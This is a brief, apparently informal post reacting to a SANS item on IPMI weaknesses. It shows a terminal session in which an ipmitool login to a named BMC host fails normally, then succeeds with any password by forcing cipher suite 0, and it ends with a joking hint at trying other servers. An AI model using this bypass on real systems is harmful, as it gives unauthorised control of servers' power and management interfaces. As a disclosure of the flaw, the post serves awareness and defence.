[Sans] all your IPMIs are belongs to anybody ;-)

or "The Brain-Death in the IPMI Specification" [1]


Sounds fun, let's try that:

[13:19:44] icarus:~$ ipmitool -H foo.ipmi.ethz.ch -U ADMIN -P 
whatever-you-want chassis status
Activate Session command failed
Error: Unable to establish LAN session
Error sending Chassis Status command

[13:20:08] icarus:~$ ipmitool -I lanplus -C 0 -H foo.ipmi.ethz.ch -U 
ADMIN -P whatever-you-want chassis status
System Power         : on
Power Overload       : false
Power Interlock      : inactive
Main Power Fault     : false
Power Control Fault  : false
Power Restore Policy : always-off
Last Power Event     : command
Chassis Intrusion    : inactive
Front-Panel Lockout  : inactive
Drive Fault          : false
Cooling/Fan Fault    : false
Front Panel Control  : none


Oops! Is me happy that this is on a private ip ... but wait, what about 
that other server out there in the datacenter ... ;-)
